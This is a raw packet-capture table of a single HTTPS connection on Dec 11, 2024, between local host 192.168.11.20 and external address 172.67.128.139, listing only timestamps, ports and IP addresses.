Dec 11, 2024 12:45:41.456054926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.456084013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.456299067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.456315994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.456538916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.456538916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.457863092 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.457892895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.458035946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.458178043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.458189964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.458503008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.459131002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.459167004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.459283113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.459331989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.459428072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.459444046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.459659100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.461061001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.461096048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.461288929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.461308956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.461379051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.461519003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.462974072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.463010073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.463289022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.463310003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.463586092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.464726925 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.464757919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.464912891 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.464962006 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.464972973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.465032101 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.465253115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.466164112 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.466223001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.466409922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.466428041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.466506958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.466692924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.467873096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.467909098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.468034983 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.468110085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.468121052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.468190908 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.468333960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.470191002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.470243931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.470590115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.470590115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.470606089 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.470699072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.470798969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.471864939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.471898079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.472014904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.472103119 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.472115040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.472194910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.472335100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.473839998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.473874092 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.473989010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.474170923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.474183083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.474442005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.474886894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.474921942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.475183964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.475203037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.475364923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.476666927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.476701975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.476820946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.477026939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.477039099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.477227926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.478696108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.478748083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.478915930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.478930950 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.478991032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.479140997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.480823040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.480858088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.480983019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.481029034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.481040001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.481127024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.481292009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.482029915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.482064962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.482284069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.482304096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.482578993 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.483675003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.483711004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.483932972 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.484011889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.484024048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.484112024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.484302044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.484302044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.485630989 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.485670090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.485898972 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.485922098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.486079931 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.487639904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.487674952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.487862110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.487888098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.488022089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.488127947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.489428997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.489464045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.489696026 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.489713907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.489778042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.489859104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.490902901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.490937948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.491111040 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.491142035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.491216898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.491343975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.492537022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.492573023 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.492822886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.492856026 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.492877960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.493045092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.494488001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.494523048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.494831085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.494920969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.494937897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.495045900 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.495126963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.495188951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.496397972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.496433020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.496577978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.496627092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.496644020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.496767998 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.496819973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.498447895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.498482943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.498655081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.498677969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.498716116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.498832941 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.499517918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.499556065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.499753952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.499768972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.499806881 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.499977112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.501465082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.501499891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.501679897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.501741886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.501759052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.501883030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.501991034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.503448009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.503484011 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.503752947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.503776073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.504084110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.505281925 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.505317926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.505536079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.505553961 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.505685091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.505780935 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.506999016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.507035017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.507304907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.507304907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.507330894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.507345915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.507564068 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.508240938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.508276939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.508388042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.508440018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.508460999 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.508564949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.508642912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.510329962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.510365009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.510509014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.510555983 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.510569096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.510651112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.510925055 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.512322903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.512361050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.512522936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.512572050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.512597084 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.512702942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.512914896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.513247013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.513385057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.513403893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.513403893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.513453960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.513468027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.513613939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.675753117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.675800085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.675935984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.676024914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.676038027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.676233053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.677084923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.677124023 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.677324057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.677345037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.677495003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.679013968 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.679052114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.679194927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.679459095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.679472923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.679663897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.680044889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.680084944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.680262089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.680280924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.680455923 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.680557966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.682039976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.682079077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.682377100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.682395935 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.682523012 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.683762074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.683805943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.684045076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.684061050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.684118032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.684235096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.685195923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.685235977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.685385942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.685401917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.685463905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.685544968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.686330080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.686368942 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.686927080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.686943054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.687263966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.688019991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.688055992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.688219070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.688265085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.688276052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.688389063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.688515902 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.689939976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.689975977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.690090895 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.690166950 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.690177917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.690272093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.690437078 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.691168070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.691205978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.691473961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.691521883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.691533089 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.691667080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.692877054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.692919016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.693031073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.693182945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.693193913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.693407059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.694073915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.694113016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.694252968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.694300890 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.694312096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.694447041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.696072102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.696113110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.696295023 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.696316004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.696423054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.696542025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.697036028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.697073936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.697216988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.697397947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.697408915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.697587013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.698879004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.698916912 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.699270010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.699280024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.699439049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.700067997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.700107098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.700246096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.700294018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.700304031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.700342894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.700401068 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.700544119 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.701797962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.701833010 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.702114105 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.702126980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.702286005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.703402996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.703444958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.703665018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.703681946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.703726053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.703860044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.705297947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.705338955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.705550909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.705568075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.705847979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.706271887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.706315994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.706495047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.706509113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.706594944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.706692934 CET	49763	443	192.168.11.20	172.67.128.139
